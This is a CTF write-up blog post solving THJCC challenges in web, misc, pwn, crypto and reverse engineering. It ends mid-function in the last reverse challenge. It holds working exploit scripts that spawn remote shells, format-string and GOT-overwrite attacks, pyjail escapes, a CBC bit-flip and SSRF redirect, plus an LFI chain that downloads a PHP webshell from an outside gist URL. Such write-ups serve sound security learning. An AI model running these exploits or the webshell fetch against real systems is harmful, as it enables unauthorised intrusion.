2nd again. god damnit. the Curse has unfortunately not been lifted
WarmUp
Welcome
Start your CTF Challenge!
THJCC{w3lc0m3_70_7hjcc}
self-explanatory
beep boop beep boop
obligatory cipher spam chall
binary -> b64 -> THJCC{n0rm4l_3nc0d1n6}
Discord Challenge
hate ai injection challs and think they should never be in ctfs in the first place?
fret not! someone already wrote a payload for u:
flag:
THJCC{j01n_d15c0rd_53rv3r_f1r57}
Web
Headless
I think robots are headless, but you are a real human, right?
obviously robots.txt
User-Agent: *
Disallow: /hum4n-0nLy
we’ll be greeted with the source!
@app.route('/r0b07-0Nly-9e925dc2d11970c33393990e93664e9d')
def secret_flag():
if len(request.headers) > 1:
return "I'm sure robots are headless, but you are not a robot, right?"
return FLAG
then solve with nc
echo "GET /r0b07-0Nly-9e925dc2d11970c33393990e93664e9d HTTP/1.0\r\n" | nc chal.ctf.scint.org 10069
flag: THJCC{Rob0t_r=@lways_he@dl3ss...}
Nothing here 👀
just ctrl+u and decode the flag in b64 -> THJCC{h4ve_f5n_1n_b4by_w3b_a5161cc22af2ab20}
APPL3 STOR3🍎
simple observations:
- product viewing is controlled by ?id=85, which we can control the value
- items 85, 86, 88 are shown but not 87 (and also port is 8787 lmao)
going to ?id=87 we realize its the flag product! except it requires 9999999999 dollars
intercepting the buy request, we can see that we sent 3 cookies:
id: "87"
Product_Prices: "9999999999"
user: "guest"
simply modify our product price cookie to be 0 and buy again
flag: THJCC{Appl3_st0r3_M45t3r}
Lime Ranger
lets go gambling!
conveniently there’s a view php source button
if(isset($_GET["bonus_code"])){
$code = $_GET["bonus_code"];
$new_inv = @unserialize($code);
if(is_array($new_inv)){
foreach($new_inv as $key => $value){
if(isset($_SESSION["inventory"][$key]) && is_numeric($value)){
$_SESSION["inventory"][$key] += $value;
}
}
}
}
we can see here that bonus_code doesnt do any check at all
so we can just give ourselves whatever we want w/ a serialized array
sending a:2:{s:2:"UR";i:2763;s:3:"SSR";i:2763;}
and sellacc we get THJCC{lin3_r4nGeR_13_1ncreD!Ble_64m3?}
proxy | under_development
fun threequel
basically we have to fetch secret.flag.thjcc.tw (172.32.0.20) through a proxy
first off:
const express = require('express');
const http = require('http');
const https = require('https');
const path = require('path');
const urlModule = require('url');
const dns = require('dns');
const { http: followHttp, https: followHttps } = require('follow-redirects');
//...
function CheckSeheme(scheme) {
return scheme.startsWith('http://') || scheme.startsWith('https://');
}
app.get('/fetch', (req, res) => {
const scheme = req.query.scheme;
const host = req.query.host;
const path = req.query.path;
if (!scheme || !host || !path) {
return res.status(400).send('Missing parameters');
}
const client = scheme.startsWith('https') ? followHttps : followHttp;
const fixedhost = 'extra-' + host + '.cggc.chummy.tw';
if (CheckSeheme(scheme.toLocaleLowerCase().trim())) {
return res.send('Development in progress! Service temporarily unavailable!');
}
const url = scheme + fixedhost + path;
const parsedUrl = new urlModule.URL(url);
obviously putting everything in scheme is more convenient since we can just use /?
and treat whatever after as a query
but then theres CheckSeheme. we have to bypass that while making that a valid URL
with trial and error we can know that both http:/
and http:
can circumvent that
next:
dns.lookup(parsedUrl.hostname, { timeout: 3000 }, (err, address, family) => {
if (err) {
console.log('DNS lookup failed!');
}
if (address == '172.32.0.20') {
return res.status(403).send('Sorry, I cannot access this host');
}
});
if (parsedUrl.hostname.length < 13) {
return res.status(403).send('My host definitely more than 13 characters, Evil url go away!');
}
client.get(url, (response) => {
let data = '';
response.on('data', (chunk) => {
data += chunk;
});
response.on('end', () => {
res.send(data);
});
}).on('error', (err) => {
res.status(500).send(err);
});
the dns lookup’s blocking our target address!! but notice that the server uses follow-redirects
module
this implies we can send proxy to our server and redirect them to target address
a 13 minimum length hostname check is in place, so i decided to use ngrok w/ pyngrok
finally, secret.flag.thjcc.tw:
app.get('/flag', (req, res) => {
if (req.path === '/flag'){ // WTF?
return res.send('I have said the service is temporarily unavailable now! (;′⌒`)');
}
if (req.hostname === 'secret.flag.thjcc.tw')
return res.send(FLAG);
else
return res.send('Sorry, you are not allowed to access this page (;′⌒`)');
});
app.listen(80, 'secret.flag.thjcc.tw');
express’s req.path treats /flag
and /flag/
as they are, but in the end they both go to the /flag route
so just use /flag/
solve:
from flask import Flask, redirect
from pyngrok import ngrok, conf
import threading
import time
app = Flask(__name__)
@app.route('/exploit')
def malicious_redirect():
return redirect("http://secret.flag.thjcc.tw/flag/", code=302)
def run_flask():
app.run(port=5000, host='0.0.0.0')
if __name__ == '__main__':
conf.get_default().auth_token = "gullible"
threading.Thread(taarget=run_flask, daemon=True).start()
time.sleep(2)
tunnel = ngrok.connect(5000, proto="http")
public_url = tunnel.public_url
print(f"\n[+] ngrok tunnel established at: {public_url}")
while True:
time.sleep(1)
then fetch
http://chal.ctf.scint.org:10068/fetch?scheme=https:/<idk-lmao>.ngrok-free.app/exploit?&host=:3&path=:3
then you win! THJCC{--->redirection--->evil-websites--->redirection--->bypass!--->flag!}
i18n
<?php
if(!isset($_GET['lang'])){
header('location: /?lang=zh_tw');
}else{
$lang = $_GET['lang'];
include "./lang/$lang.php";
}
?>
obviously file inclusion vuln
considering null byte injection got fixed in php 5.3.2 and chall uses php 8.2, i thought i could only include .php
ran locally and found /usr/local/lib/php/pearcmd.php
which i can use to download payload
http://localhost:1337/?lang=../../../../usr/local/lib/php/pearcmd&+install+-R+/tmp+https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/c871f130a12e97090a08d0ab855c1b7a93ef1150/easy-simple-php-webshell.php
then we get rce!
http://node2.dynchal.p23.tw:25850/?lang=../../../../tmp/tmp/pear/download/easy-simple-php-webshell&cmd=cat%20../../../flag
flag: THJCC{r3se4rch3r_is_mean_RE:SE4RCH}
Misc
network noise
open .pcapng in wireshark, search frame matches "(?i)THJCC"
, lo and behold we got the flag in a http packet
flag: THJCC{tH15_I5_JU57_TH3_B3G1Nn1Ng...}
Seems like someone’s breaking down😂
STOP ATTACK MeEeeEeEEeeE Hey you! come here! Help me to find out WHO break my door! app.log
if we scroll to the very bottom we’ll see a suspicious b64 that decodes to THJCC{fakeflag}
huh. search for the last occurence of password=
we’ll see a different b64 which is our flag. crazy
flag: THJCC{L0g_F0r3N51C5_1s_E45Y}
Setsuna Message
Tonight, my good friend, Arisu Suzushima, brought me this note, saying it contains a message from her sister, Setsuna Sumeragi.
D'`A@^8!}}Y32DC/eR,>=/('9JIkFh~ffAAca=+u)\[qpun4lTpih.lNdihg`_%]E[Z_X|\>ZSwQVONr54PINGkEJCHG@d'&BA@?8\<|43Wx05.R,10/('Kl$)"!E%e{z@~}v<z\rqvutm3Tpihmf,dLhgf_%FE[`_X]Vz=YXQPta
yay!!! i love guessing!!!! wow!!!!!!
mid-ctf hints were released:
Having said that, his level of chaos is beyond imagination. Although it is not as exaggerated as the 18th level of hell, it can be regarded as the 8th level of hell.
well now that’s a no-brainer. its malbolge
execute and decrypt b64 then you’ll get THJCC{@r!su!1y}
Hidden in Memory
Find the computer name and submit with THJCC{computername}
idk wtf i was doing but this worked so lol
❯ vol -f memdump.dmp hivelist
Volatility 3 Framework 2.11.0
Progress: 100.00 PDB scanning finished
Offset FileFullPath File output
0xd80b47676000 Disabled
# ...
0xd80b4b0b1000 \SystemRoot\System32\Config\BBI Disabled
0xd80b4b114000 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT Disabled
0xd80b4b6b8000 \??\C:\Users\WH3R3-Y0U-G3TM3\ntuser.dat Disabled
0xd80b4b706000 \??\C:\Users\WH3R3-Y0U-G3TM3\AppData\Local\Microsoft\Windows\UsrClass.dat Disabled
flag: THJCC{WH3R3-Y0U-G3TM3}
Pyjail01
import unicodedata, string
_ = string.ascii_letters
while True:
inpt = unicodedata.normalize("NFKC", input("> "))
for i in inpt:
if i in _:
raise NameError("No ASCII letters!")
exec(inpt)
important observations:
- we can access the _ variable (string.ascii_letters) in the exec
- both python’s parser and this chall uses NFKC for normalizing, so it’s super unlikely there’s some discrepancy
the main breakthrough is noticing the filter doesn’t use string.ascii_letters directly, and instead the _ variable
since we can access _ we can just… overwrite it lmao
> _=":3"
> __import__('os').system('/bin/sh')
ls
bin
boot
dev
etc
flag.txt
home
lib
# (...)
usr
var
cat flag.txt
THJCC{3asy_pYj41l_w1th_bl0ck3d_4sc11_a77fb11f}
Pyjail02
import unicodedata
inpt = unicodedata.normalize("NFKC", input("> "))
print(eval(inpt, {"__builtins__":{}}, {}))
typical pyjail with no builtins thats it
().__class__.__base__.__subclasses__()[-4].__init__.__globals__['os'].popen('cat flag.txt').read()
flag: THJCC{pYj41l_w17h_r3m0v3d_bu1l71n5_5ebd37c1}
There Is Nothing! 🏞️
image stega. into aperisolve it goes
interestingly in the steghide field:
Corrupt JPEG data: 83558 extraneous bytes before marker 0xd9
steghide: could not extract any data with that passphrase!
huh. unshown data that got interpreted as “extra bytes” perhaps?
borrowing this image from here:
here we have
ff c0 00 11 08 01 5e 03 20
, which we edit height to 11 5e
flag:
THJCC{1_d1dn7_h1d3_4ny7h1n6}
Pwn
Flag Shopping
source:
printf("How many do you need?\n> ");
scanf("%lld", &num);
if (num < 1){
printf("invalid number\n");
continue;
}
if (money < price[option]*(int)num){
printf("You only have %d, ", money);
printf("But it cost %d * %d = %d\n", price[option], (int)num, price[option]*(int)num);
continue;
}
money -= price[option]*(int)num;
own[option] += num;
even though we cant input a negative number, we can still overflow price[option]*(int)num
to make it go negative
Welcome to the FLAG SHOP!!!
===================================================
Which one would you like? (enter the serial number)
1. Coffee
2. Tea
3. Flag
> 3
How many do you need?
> 18
THJCC{W0w_U_R_G0oD_at_SHoPplng}
Money Overflow
struct
{
int id;
char name[20];
unsigned short money;
} customer;
//...
case 5:
if (customer.money >= 65535)
{
system("/bin/sh");
exit(0);
}
//...
printf("Enter your name: ");
gets(customer.name);
gets
doesnt check for input length, so we can buffer overflow into money
a short has 2 bytes, so we’ll overwrite money w/ 0xFFFF
from pwn import *
r = remote('chal.ctf.scint.org', 10001)
r.sendlineafter(b':', b'A' * 20 + b'\xFF\xFF')
r.sendlineafter(b'> ', b'5')
r.interactive()
[+] Opening connection to chal.ctf.scint.org on port 10001: Done
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag.txt
home
lib
# ...
var
$ cat flag.txt
THJCC{Y0uR_n@mE_I$_ToO_LoO0OOO00oO0000o0O00OoNG}
Insecure Shell
throwing in ida:
read(fd, buf, 0xFuLL);
printf("Enter the password >");
__isoc99_scanf("%15s", s);
v4 = strlen(s);
if ( (unsigned int)check_password(buf, s, v4) )
puts("Wrong password!");
else
system("/bin/sh");
return 0;
check_password function:
__int64 __fastcall check_password(__int64 a1, __int64 a2, int a3)
{
int i; // [rsp+20h] [rbp-4h]
for ( i = 0; i < a3; ++i )
{
if ( *(_BYTE *)(i + a1) != *(_BYTE *)(i + a2) )
return 1LL;
}
return 0LL;
}
notice that we control the count of comparisons with our input length
we can just brute w/ 1 char and hope we get the 1 in 256!
from pwn import *
import sys, time
while True:
p = remote('chal.ctf.scint.org', 10004)
p.sendlineafter(b'>', b'!')
l = p.recv(1, timeout=1)
if l and b'Wrong' in l:
log.failure(l)
else:
p.interactive()
p.close()
time.sleep(1)
Opening connection to chal.ctf.scint.org on port 10004: Done
[+]
[+] stopped it worked i think
[*] Switching to interactive mode
$ =l ls ls
bin
boot
dev
etc
flag.txt
home
lib
# ...
usr
var
$ c ca cat cat cat f cat fl cat fla cat flag cat flag. cat flag.t cat flag.tx cat flag.txt cat flag.txt
THJCC{H0w_did_you_tyPE_\x00?}$ [*] Got EOF while reading in interactive
Once
char charset[] = "!\"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~";
void main()
{
char secret[0x10];
char buf[0x10];
char is_sure = 'y';
init();
srand(time(NULL));
for (int i = 0; i < 15; i++)
{
secret[i] = charset[rand() % strlen(charset)];
}
secret[15] = 0;
printf("Guess the secret, you only have one chance\n");
while (1)
{
printf("guess >");
scanf("%15s", buf);
getchar();
// ...
if (!strcmp(buf, secret))
{
printf("Correct answer!\n");
system("/bin/sh");
}
else
{
printf("Incorrect answer\n");
printf("Correct answer is %s\n", secret);
break;
}
}
}
the code seeds with epoch, which we can trivially obtain on the moment we connect to server
so we can reconstruct the secret
from pwn import *
from ctypes import CDLL
import time
libc = CDLL('./libc.so.6')
r = remote('chal.ctf.scint.org', 10002)
alph = "!\"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
secret = ''
libc.srand(int(time.time()) + 2)
for _ in range(15):
secret += alph[libc.rand() % len(alph)]
r.sendline(secret.encode())
r.sendline(b'y')
r.interactive()
u need to gamble like 5 times because of internet
[*] Switching to interactive mode
Guess the secret, you only have one chance
guess >Your guess: N+m>`<<2bD^<R_j
Are you sure? [y/n] >Correct answer!
$ ls
bin
boot
dev
etc
flag.txt
home
# ...
var
$ cat flag.txt
THJCC{d1dN'T_!_5@y_yoU_ON1Y_h4V3_oN3_cH@Nc3?}$
Little Parrot
me, a pwn noob: “wow this looks so similar to that one chal” (ofc idiot its simple asf thats why u saw a similar one before)
chal:
void win(){
printf("\nYou win!\n");
printf("Here is your flag: flag{fake_flag}");
fflush(stdout);
}
int parrot(){
char buf[0x100];
printf("I'm a little parrot, and I'll repeat whatever you said!(or exit)\n> ");
while(1){
fflush(stdout);
fgets(buf, sizeof(buf), stdin);
if (!strcmp(buf, "exit\n")){
break;
}
printf("You said > ");
printf(buf);
printf("> ");
fflush(stdout);
}
}
int main(){
parrot();
char buf[0x30];
printf("anything left to say?\n> ");
fflush(stdout);
getchar();
gets(buf);
printf("You said > %s", buf);
fflush(stdout);
return 0;
}
clearly theres a format string vuln in parrot, and a buffer overflow in main
but uhh i kinda forgot the latter existed so lmfao
we can leak stack addr, pie with %40$p
, %41$p
breakpoint right before parrot returns:
RBP 0x7fffffffc640 —▸ 0x7fffffffc6e0 —▸ 0x7fffffffc740 ◂— 0
RSP 0x7fffffffc5f8 —▸ 0x55555555536c (main+37) ◂— lea rax, [rip + 0xd26]
RIP 0x555555555346 (parrot+224) ◂— ret
rsp stores our return address, so we wanna overwrite 0x7fffffffc5f8
with our win addr
from pwn import *
context.binary = elf = ELF('./chal')
r = remote('chal.ctf.scint.org', 10103)
r.sendlineafter(b'> ', b'%40$p.%41$p')
r.recvuntil(b'> ')
leaks = r.recvuntil(b'> ').split()[0].strip().split(b'.')
stack_leak = int(leaks[0], 16)
pie_leak = int(leaks[1], 16)
pie_base = pie_leak - 0x136c
win_addr = pie_base + 0x1229
target_ret_addr = stack_leak - 0x48
log.info(f'pie leak: {hex(pie_leak)}')
log.info(f'stack leak: {hex(stack_leak)}')
log.info(f'pie base: {hex(pie_base)}')
log.info(f'win() addr: {hex(win_addr)}')
log.info(f'target ret addr: {hex(target_ret_addr)}')
payload = fmtstr_payload(6, { # our input starts showing up at offset 6
target_ret_addr: win_addr
}, write_size='short') #yeah
r.sendline(payload)
r.recvuntil(b'> ')
r.sendline(b'exit')
r.interactive()
You win!
Here is your flag: THJCC{P3w-pew_im_4_LiTTI3_parr0t}
Bank Clerk
void backdoor()
{
system("/bin/sh");
}
int accounts[100];
void deposit(int id)
{
unsigned int amount;
printf("Enter the amount to deposit> ");
scanf("%u", &amount);
accounts[id] += amount;
printf("Deposited %u$ to account %d\n", amount, id);
}
void withdraw(int id)
{
unsigned int amount;
printf("Enter the amount to withdraw> ");
scanf("%u", &amount);
if (amount > accounts[id])
{
printf("ERROR! Current balance: %u\n", accounts[id]);
sleep(1);
}
else
{
accounts[id] -= amount;
printf("Withdrew %u$ from account %d\n", amount, id);
}
}
since theres no check on indices, we have OOB write in deposit and OOB read in withdraw
lets assume account array is at 0x555555558080
, backdoor addr offset would be -0x2e30
behind account array lies GOT:
pwndbg> tele 0x555555558080-0x100 0x120
# ...
10:0080│ 0x555555558000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x3df8
11:0088│ 0x555555558008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
12:0090│ 0x555555558010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7fda2f0 (_dl_runtime_resolve_xsavec) ◂— endbr64
13:0098│ 0x555555558018 (puts@got[plt]) —▸ 0x555555555030 ◂— endbr64
14:00a0│ 0x555555558020 (__stack_chk_fail@got.plt) —▸ 0x555555555040 ◂— endbr64
15:00a8│ 0x555555558028 (system@got[plt]) —▸ 0x555555555050 ◂— endbr64
16:00b0│ 0x555555558030 (printf@got[plt]) —▸ 0x555555555060 ◂— endbr64
17:00b8│ 0x555555558038 (setvbuf@got[plt]) —▸ 0x555555555070 ◂— endbr64
18:00c0│ 0x555555558040 (__isoc99_scanf@got.plt) —▸ 0x555555555080 ◂— endbr64
19:00c8│ 0x555555558048 (sleep@got[plt]) —▸ 0x555555555090 ◂— endbr64
1a:00d0│ 0x555555558050 (data_start) ◂— 0
since sleep is easily accessible in withdraw, lets overwrite that one!
its index would be (0x555555558048 - 0x555555558080) // 4 = -14
sleep’s offset is -0x2ff0
, so we’ll need to add 448 to jump to backdoor
Welcome to the bank!
1) deposit
2) withdraw
Your choice> 1
id> -14
Enter the amount to deposit> 448
Deposited 448$ to account -14
1) deposit
2) withdraw
Your choice> 2
id> 0
Enter the amount to withdraw> 851925219581295812958219852763
ERROR! Current balance: 0
ls
bin
boot
dev
etc
flag.txt
home
# ...
var
cat flag.txt
THJCC{p@R7!AL_R3lR0_witH_p!3??}
Crypto
Twins
from Crypto.Util.number import *
from secret import FLAG
def generate_twin_prime(N:int):
while True:
p = getPrime(N)
if isPrime(p + 2): return p, p + 2
p, q = generate_twin_prime(1024)
N = p * q
e = 0x10001
m = bytes_to_long(FLAG)
C = pow(m, e, N)
print(f"{N = }")
print(f"{e = }")
print(f"{C = }")
isqrt of p*(p+2) is p (\(p < \sqrt{N} < p+1\) from quadratic formula)
so getting p is trivial
from Crypto.Util.number import *
n=282655127851...
e=65537
c=123449764712...
p=n.isqrt()
q=n//p
d=inverse(e, (p-1)*(q-1))
print(long_to_bytes(pow(c, d, n)))
flag: THJCC{7wIn_pR!me$_4RE_Too_L0VE1Y}
DAES
target = os.urandom(16)
keys = [b'whalekey:' + str(random.randrange(1000000, 1999999)).encode() for _ in range(2)]
def enc(key, msg):
ecb = AES.new(key, AES.MODE_ECB)
return ecb.encrypt(msg)
def daes(msg):
tmp = enc(keys[0], msg)
return enc(keys[1], tmp)
test = b'you are my fire~'
print(daes(test).hex())
print(daes(target).hex())
ans = input("Ans:")
if ans == target.hex():
print(FLAG)
else:
print("Nah, no flag for u...")
the small range of randrange is basically asking you to brute
if we brute for both keys simultaneously and compare the results it’ll take 1e12 operations. very not ideal
so lets meet in the middle!
from Crypto.Cipher import AES
from tqdm import tqdm
from pwn import *
def enc(key, msg):
ecb = AES.new(key, AES.MODE_ECB)
return ecb.encrypt(msg)
def dec(key, msg):
ecb = AES.new(key, AES.MODE_ECB)
return ecb.decrypt(msg)
r = remote('chal.ctf.scint.org', 12003)
test_plain = b'you are my fire~'
test_ct = bytes.fromhex(r.recvline().strip().decode())
target_ct = bytes.fromhex(r.recvline().strip().decode())
ct_dict = {}
log.info("precompute k1 ciphertexts")
for num in tqdm(range(1000000, 2000000)):
k1 = b'whalekey:' + str(num).encode()
ct = enc(k1, test_plain)
ct_dict[ct] = k1
found_k1, found_k2 = None, None
log.info("search k2")
for num in tqdm(range(1000000, 1999999+1)):
k2 = b'whalekey:' + str(num).encode()
pt = dec(k2, test_ct)
if pt in ct_dict:
found_k1 = ct_dict[pt]
found_k2 = k2
log.success(f'k1, k2 = {found_k1}, {found_k2}')
break
if found_k1 is None:
log.info("keep gambling")
exit()
target = dec(found_k1, dec(found_k2, target_ct))
r.sendline(target.hex().encode())
r.interactive()
[*] precompute k1 ciphertexts
100%|██████████████████████████████████████████████████████████████████████| 1000000/1000000 [00:18<00:00, 52776.97it/s]
[*] search k2
74%|████████████████████████████████████████████████████▉ | 744761/1000000 [00:12<00:04, 61078.08it/s]
[+] k1, k2 = b'whalekey:1544672', b'whalekey:1745391'
[*] Switching to interactive mode
Ans:THJCC{see_u_again_in_the_middle}
Frequency Freakout
i see substitution i quipqiup
IF YOU’RE UP FOR A PUZZLE, HERE’S A CHALLENGE:
THJCC{SUBST1T1ON_CIPH3R_1S_COO1}
-J
SNAKE
SSSSS = input()
print("".join(["!@#$%^&*(){}[]:;"[int(x, 2)] for x in [''.join(f"{ord(c):08b}" for c in SSSSS)[i:i+4] for i in range(0, len(SSSSS) * 8, 4)]]))
basically encode input in binary, convert every group of 4 into decimal, then index into the charset\
from Crypto.Util.number import *
s='^$&:&@&}&^*$#!&@*#&^#!&^&[&;&...' #insert rest of ciphertext
print(long_to_bytes(int(''.join(bin('!@#$%^&*(){}[]:;'.find(x))[2:].zfill(4) for x in s), 2)))
…and Pygopodidae). blablabla Here is your flag:
THJCC{SNAK3333333333333333}
Yoshino’s Secret
#!/usr/bin/python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from secret import FLAG
import json
import os
KEY = os.urandom(16)
def encrypt(plaintext: bytes) -> bytes:
iv = plaintext[:16]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
return iv + cipher.encrypt(pad(plaintext[16:], AES.block_size))
def decrypt(ciphertext: bytes) -> str:
iv = ciphertext[:16]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
plaintext = unpad(cipher.decrypt(ciphertext[16:]), AES.block_size)
return plaintext
def check(token):
try:
token = bytes.fromhex(token)
passkey = decrypt(token)
data = json.loads(passkey)
if data["admin"]:
print(f"Here is your flag: {FLAG}")
exit()
else:
print("Access Denied")
except:
print("Hacker detected, emergency shutdown of the system")
exit()
def main():
passkey = b'{"admin":false,"id":"TomotakeYoshino"}'
token = encrypt(os.urandom(16) + passkey)
print(f"token: {token.hex()}")
while True:
token = input("token > ")
check(token)
if __name__ == '__main__':
main()
since we’re given IV, we can do cbc bit flipping attack
recall CBC’s decryption process:
since \( plain_1 = decrypted_1 \oplus IV \), we can overwrite the 1st block with whatever we want!
xoring itself cancels out to 0, so we can xor the char with itself and our target char
from pwn import *
def bit_flip_attack(original_token_hex):
token = bytes.fromhex(original_token_hex)
modified_token = bytearray(token)
modified_token[9] ^= ord('f') ^ ord('\'')
modified_token[13] ^= ord('e') ^ ord('\'')
return modified_token.hex().encode()
r = remote('chal.ctf.scint.org', 12002)
token = r.recvline().split()[-1].decode()
log.info(f'token: {token}')
payload = bit_flip_attack(token)
r.sendline(payload)
r.interactive()
[+] Opening connection to chal.ctf.scint.org on port 12002: Done
[*] Switching to interactive mode
token > Here is your flag: b"THJCC{F1iP_Ou7_y0$Hino's_53Cr3t}"
Hacker detected, emergency shutdown of the system
Speeded Block Cipher
modified AES except the add function literally leaks the key
def expand_key(K, PS):
for i in range(PS - 1):
NK = [(~(x + y)) & 0xFF for x, y in zip(K[i], K[i + 1])]
NK = [(x >> 4) | (x << 4) & 0xFF for x in NK]
NK = shift_rows(NK)
K.append(NK)
return K[1:]
def add(a: bytes, b: bytes) -> bytes:
return bytes([((x + 1) ^ y) & 0xff for x, y in zip(a, b)])
def encrypt(plaintext: bytes) -> bytes:
PS = len(plaintext) // 16
P = [plaintext[i: i + 16] for i in range(0, PS * 16, 16)]
K = expand_key([IV, KEY], PS)
C = []
for i, B in enumerate(P):
C.append(add(B, K[i]))
return b"".join(C)
since we can control P (plaintext blocks), we can just send \x00 bytes and recover by xoring 1
we can get \(K[0]\) (key) and \(K[1]\) (first encrypted block) from this
then we can derive subsequent key blocks using expand_key
from pwn import *
def unpad(text: bytes) -> bytes:
padding = text[-1]
return text[:-padding]
def shift_rows(B: list):
M = [B[i:i+4] for i in range(0, 16, 4)]
M[0][1], M[1][1], M[2][1], M[3][1] = M[1][1], M[2][1], M[3][1], M[0][1]
M[0][2], M[1][2], M[2][2], M[3][2] = M[2][2], M[3][2], M[0][2], M[1][2]
M[0][3], M[1][3], M[2][3], M[3][3] = M[3][3], M[0][3], M[1][3], M[2][3]
return bytes(M[0] + M[1] + M[2] + M[3])
def recover_initial_blocks(conn):
conn.sendlineafter(b"encrypt(hex) > ", b'00'*16)
ct = bytes.fromhex(conn.recvline().decode().split(": ")[1])
K0 = bytes([(c ^ 1) & 0xff for c in ct[:16]])
conn.sendlineafter(b"encrypt(hex) > ", b'00'*32)
ct = bytes.fromhex(conn.recvline().decode().split(": ")[1])
K1 = bytes([(c ^ 1) & 0xff for c in ct[16:32]])
return K0, K1
def dec(conn, ct):
K0, K1 = recover_initial_blocks(conn)
K = [K0, K1]
PS = len(ct) // 16
for i in range(2, PS):
NK = [(~(x + y)) & 0xFF for x, y in zip(K[i-2], K[i-1])]
NK = [(x >> 4) | (x << 4) & 0xFF for x in NK]
NK = shift_rows(NK)
K.append(bytes(NK))
flag = b''
for i in range(PS):
block = ct[i*16:(i+1)*16]
decrypted = bytes([((c ^ k) - 1) & 0xff for c, k in zip(block, K[i])])
flag += decrypted
return unpad(flag)
r = remote('chal.ctf.scint.org', 12001)
r.recvuntil(b": ")
ct = bytes.fromhex(r.recvline().decode().strip())
flag = dec(r, ct)
log.success(flag)
flag: THJCC{jU$T_4_$1Mple_xor_ENCryP7!oN_iSN't_it?}
Reverse
西
basically just keywords remapped to chinese. banger
find and replace is annoying, but we can just xor ciphertext with 0xF5 after noticing these:
#define 欸殼斯偶爾等於 ^=
#define 欸服費 0xF5
// ...
掐 伊恩窺皮特_弗雷格[] 等於 "\xa1\xbd\xbf\xb6\xb6\x8e\xa1\x9d\xc4\x86\xaa\xc4\xa6\xaa\x9b\xc5\xa1\xaa\x9a\x97\x93\xa0\xd1\x96\xb5\xa1\xc4\xba\x9b\x88";
flag: THJCC{Th1s_1S_n0T_obfU$c@T1On}
time_GEM
using IDA we can find the encryption function:
unsigned __int64 power()
{
void *v0; // rsp
__int64 v2; // [rsp+8h] [rbp-160h] BYREF
int i; // [rsp+10h] [rbp-158h]
int v4; // [rsp+14h] [rbp-154h]
int v5; // [rsp+18h] [rbp-150h]
int v6; // [rsp+1Ch] [rbp-14Ch]
char *s; // [rsp+20h] [rbp-148h]
__int64 v8; // [rsp+28h] [rbp-140h]
__int64 *v9; // [rsp+30h] [rbp-138h]
_BYTE v10[280]; // [rsp+38h] [rbp-130h] BYREF
unsigned __int64 v11; // [rsp+150h] [rbp-18h]
v11 = __readfsqword(0x28u);
qmemcpy(v10, &unk_2060, 0x10CuLL);
v4 = 67;
s = "THJCCISSOGOODIMNOTTHEFLAG!!!";
v8 = 67LL;
v0 = alloca(80LL);
v9 = &v2;
v5 = strlen("THJCCISSOGOODIMNOTTHEFLAG!!!");
for ( i = 0; i < v4; ++i )
{
v6 = s[i % v5] ^ (i % 256);
*((_BYTE *)v9 + i) = v6 ^ v10[4 * i];
printf("%c\n", (unsigned int)*((char *)v9 + i));
sleep(0x1337u);
}
return v11 - __readfsqword(0x28u);
}
tl;dr xor s with index and every 4th byte in unk_2060
s='THJCCISSOGOODIMNOTTHEFLAG!!!'
key=[0, 1, 2, 3, 4, 0x37, 0x1d, 0x64, 0x30, 0x11, 0x0c, 0x1b, 0x2d, 0x2a, 0x15, 0x18, 0, 0x71, 0x8, 0x3f, 0x0e, 4, 0x6b, 0x63, 0x17, 0x67, 0x49, 0x5f, 0x7c, 0x19, 0x65, 0x6b, 0x3a, 0x37, 0x1a, 0x40, 0x1e, 0x2e, 0x0d, 0x37, 0x58, 0x2c, 0x52, 0x55, 0x3c, 0x12, 0x4a, 0x29, 0x42, 0x25, 0x4e, 0x1e, 0x2c, 0x40, 0x5e, 0x5b, 0x29, 0x5c, 0x5d, 0x46, 0x42, 0x5a, 0x50, 0x4d,0x2e, 0x27, 0x70, 0]
ans=''
for i in range(67):
ans += chr(ord(s[i % len(s)]) ^ i ^ key[i])
print(ans) # THJCC{H0w_I_enVY_4Nd_W15H_re4L17Y_k0uLd_4L50_k0N7R0l_TIME-->=.=!!!}
Python Hunter 🐍
import sys as s
def qwe(abc, xyz):
r = []
l = len(xyz)
for i in range(len(abc)):
t = chr(abc[i] ^ ord(xyz[i % l]))
r.append(t)
return ''.join(r)
d = [48, 39, 37, 49, 28, 16, 82, 17, 87, 13, 92, 71, 104, 52, 21, 0, 83, 7, 95, 28, 55, 30, 11, 78, 87, 29, 18]
k = 'door_key'
m = 'not_a_key'
def asd(p):
u = 42
v = qwe(d, k)
w = qwe(d, p)
if w == v:
print(f'Correct! {v}')
else:
print('Wrong!')
def dummy():
return len(d) * 2 - 1
if __name__ == '__main__':
if len(s.argv) > 1:
asd(s.argv[1])
else:
print('Please provide a key as an argument.')
dummy()
then just run qwe(d, k)
-> THJCC{7h3b357_py7h0nhun73r}
Flag Checker
lets disassemble:
printf("flag >");
__isoc99_scanf("%255s", s);
for ( i = 0; i < strlen(s); ++i )
s[i] = ((s[i] << (i & 7)) | (s[i] >> (-(char)i & 7))) ^ 0xF;
if ( (unsigned int)sub_11C9(s) )
puts("Correct!");
else
puts("Wrong!");
lazy so i asked AI to simulate what that line does
'0': 00110000 -> 00110000
'0': 00110000 -> 01100000
'0': 00110000 -> 11000000
'0': 00110000 -> 10000001
'0': 00110000 -> 00000011
...
looks like its just shifting left by i%8 bits then xor 0xF
lets check out sub_11C9:
__int64 __fastcall sub_11C9(__int64 a1)
{
signed int i; // [rsp+14h] [rbp-4h]
for ( i = 0; (unsigned int)i <= 0x20; i += 3 )
{
if ( *(unsigned __int8 *)(i + a1) + *(unsigned __int8 *)(i + 1LL + a1) != dword_4020[i] )
return 0LL;
